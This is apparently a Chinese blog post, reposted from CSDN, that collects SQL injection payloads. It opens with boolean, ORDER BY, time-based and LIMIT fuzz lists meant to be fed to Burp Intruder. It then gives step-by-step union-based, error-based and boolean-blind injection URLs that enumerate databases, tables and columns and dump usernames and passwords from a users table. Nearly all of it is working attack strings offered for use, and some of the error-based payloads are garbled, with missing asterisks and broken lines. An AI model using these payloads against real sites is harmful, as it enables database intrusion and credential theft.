SQL注入的payloads

1:BOOL SQLINJECTION

\
'
"
%df'
%df"
and 1=1
and 1=2
' and '1'='1
' and '1'='2
" and "1"="1
" and "1"="2
) and (1=1
) and (1=2
') and ('1'='1
') and ('1'='2
%' and 1=1 and '%'='
%' and 1=2 and '%'='x
%') and 1=1 and ('%'='
%') and 1=2 and ('%'='x
OR 1=1
OR 1=2
' OR 1=1-- -
' OR 1=2-- -
) OR 1=1-- -
) OR 1=2-- -
') OR 1=1-- -
') OR 1=2-- -
" OR "1"="1
" OR "1"="2
' OR '1'='1
' OR '1'='2
) OR (1=1
) OR (1=2
') OR ('1'='1
') OR ('1'='2

2:ORDER BY SQLINJECTION fuzz payload

(case when(1=1) then 1 else (select 1 union select 2) end)
(case when(1=2) then 1 else (select 1 union select 2) end)
,(1-(case when(1=1) then 1 else (select 1 union select 2) end))
,(1-(case when(1=2) then 1 else (select 1 union select 2) end))
,1=if((1=1),1,(select 1 union select 2))
,1=if((1=2),1,(select 1 union select 2))
,If((1=1),1,(select 1 union select 2))-- -
,If((1=2),1,(select 1 union select 2))-- -
,If((1=1),sleep(4),(select 1 union select 2))-- -
-IF((1=1),1,(SELECT 1 UNION SELECT 2))-- -
-IF((1=2),1,(SELECT 1 UNION SELECT 2))-- -
-(case when(1=1) then 1 else (select 1 union select 2) end)
-(case when(1=2) then 1 else (select 1 union select 2) end)

3:TIME-BASE SQLINJECTION

'%2b(if((1=1 and sleep(4)),1,(select 1 union select 2)))%2b'a
-IF((1=1),sleep(4),(SELECT 1 UNION SELECT 2))-- -
';(SELECT 1 FROM(SELECT(sleep(4)))lWuP)-- -
;SELECT sleep(4)
);SELECT sleep(4)-- -
;SELECT sleep(4)-- -
;(SELECT 1 FROM(SELECT(sleep(4)))lWuP)-- -
' AND SLEEP(4)%23
AND sleep(4)
' AND sleep(4) AND '1'='1
') AND sleep(4) AND ('1'='1
) AND sleep(4) AND (1=1
" AND sleep(4) AND "1"="
') and (select(0)from(select(sleep(4)))x)-- -
and (select(0)from(select(sleep(4)))x)
and (select(0)from(select(sleep(4)))x) and 1=1
' and (select(0)from(select(sleep(4)))x) and '1'='1
" and (select(0)from(select(sleep(4)))x) and "1"="1
) and (select(0)from(select(sleep(4)))x) and (1=1
') and (select(0)from(select(sleep(4)))x) and ('1'='1
rlike (select(0)from(select(sleep(4)))x) and 1=1
' rlike (select(0)from(select(sleep(4)))x) and '1'='1
) rlike (select(0)from(select(sleep(4)))x) and (1=1
') rlike (select(0)from(select(sleep(4)))x) and ('1'='1
;waitfor delay '0:0:4' -- -
';waitfor delay '0:0:4' -- -
);waitfor delay '0:0:4' -- -
');waitfor delay '0:0:4' -- -
if(now()=sysdate(),sleep(4),0)/*'XOR(if(now()=sysdate(),sleep(4),0))OR'"XOR(if(now()=sysdate(),sleep(4),0))OR"*/
(SELECT * FROM(SELECT(sleep(4)))lWuP)

4:LIMIT SQLINJECTION 

procedure analyse(extractvalue(1,if(1=1,benchmark(5000000,md5(1)),2)),1)

用法就不用多说,放burp instuder fuzz 就行了


注: 以下payload均基于单引号字符型注入。若是整型注入,需将单引号与后面的注释符(--+)都去掉;若是双引号注入,需将单引号改为双引号。

可联合查询注入

使用情景:页面有显示位。
优点:语句简单,快速。
缺点:条件苛刻。

原理:通过显示位,直接爆出所查信息。

1.判断当前数据表中有几列:
?id=1' order by 数值 --+
2.查看显示位在第几列(这里假设共有3列):
?id=-1' union select 1,2,3 --+
3.显示当前数据库(假设显示位在第3 列):
?id=-1' union select 1,2,database() --+
4.查询当前数据库的所有表:
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
5.查询所有数据库 :
?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
6.查询某个数据库中的表 (此例为 db1 数据库):
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='message') --+
7.查询某个表中的所有字段 (此例为 message数据库中的users 表):
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='message' and table_name='users') --+
8.查询某个表中的字段内容(此例为 message数据库中的users 表):
?id=-1' union select 1,2,(select group_concat(name,0x3a,0x3a,passwd) from message.users) --+

报错型注入(常存在 部署于开发环境的)

使用情景:服务器开着,有mysql_error()的报错信息,但是没有显示位。
优点:没显示位也可用,快速。
缺点:语句复杂。

原理:根据详细的报错信息。可以查看到数据库中的所有内容。

floor 类型
固定格式:(星号位置替换为查询语句即可)
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(*******),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
1.爆数据库:
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select distinct table_schema from information_schema.columns limit 1,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+
小提示:由于报错信息每次只能显示1行,所以此处使用limit,通过修改limit后的第一个数值,可依次爆出所有内容。下同。
2.爆表名(此例为message数据库):
?id=1' and (select 1 from (select count(
),concat(0x3a,0x3a,(
select table_name from information_schema.tables where table_schema='message' limit 2,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+
3.爆字段(此例为message数据库的users表):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 2,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+
4.爆内容(此例为message数据库的users表):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select concat(0x3a,0x3a, name,0x3a,0x3a,passwd,0x3a,0x3a) from message.users limit 0,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+

布尔类型注入sql盲注

优点:通用性强,可以没有显示位,可以没有报错信息
缺点:慢。

原理:根据返回页面是否正常,判断值的范围,通过二分法最终确定具体的值

使用到的函数:
exists() 查询至少返回一条数据
返回:true or false
ascii() 返回一个字符串最左边ascii码的值
substr() 三个参数,一:字符串,二:开始位置,三:长度 mysql中开始位置从1开始。
length() 计算长度函数

payload:
1.查询所有数据库

  1. 查询数据库个数:
    ?id=1' and ((select count(schema_name) from information_schema.schemata) < 77)--+
    77为随意输入数字,可通过二分法确定最终值。下同。
  2. 查询某一个数据库的长度:
    ?id=1' and ((select length(schema_name) from information_schema.schemata limit 1,1) < 77)--+
    3)查看某个数据库名:
    ?id=1' and ((select ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))) < 77)--+
    通过改变limit与substr的值,依次查看每一个字符

2.查询某个数据库的所有表
1)查询表的个数 (此例为message数据库中的表):
?id=1' and ((select count(distinct+table_name) from information_schema.tables where table_schema='message' ) < 77)--+
2)查看某个表名的长度(此例为message数据库中的表):
?id=1' and ((select length(table_name) from information_schema.tables where table_schema='message' limit 1,1) < 77)--+
3)查看某个表名(此例为message数据库中的表):
?id=1' and ((select ascii(substr((select table_name from information_schema.tables where table_schema='message' limit 1,1),1,1))) < 77)--+
通过改变limit与substr的值,依次查看每一个字符

3.查询某个表中的所有字段
1)表中字段的个数(此例中为message数据库中的users表):
?id=1' and ((select count(distinct+column_name) from information_schema.columns where table_schema='message' and table_name='users' ) < 77)--+
2)查看某个字段名的长度(此例中为message数据库中的users表):
?id=1' and ((select length(column_name) from information_schema.columns where table_schema='message' and table_name='users' limit 1,1) < 77)--+
3)查看某个字段名(此例中为message数据库中的users表):
?id=1 ' and ((select ascii(substr((select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 1,1),1,1))) < 77)--+
通过改变limit与substr的值,依次查看每一个字符

4.查看内容
1)查看表中的行数(此例中为message数据库中的users表):
?id=1' and ((select count(*) from message.users ) < 77)--+
2)查看某个字段对应内容的长度(此例中为message数据库中的users表):
?id=1' and ((select length(name) from message.users limit 1,1) < 77)--+
3)查看某个字段名对应内容(此例中为message数据库中的users表中的name字段):
?id=1' and ((select ascii(substr((select name from message.users limit 1,1),1,1))) < 77)--+
通过改变limit与substr的值,依次查看每一个字符

发布了71 篇原创文章 · 获赞 59 · 访问量 27万+

猜你喜欢

转载自blog.csdn.net/m0_37268841/article/details/102598172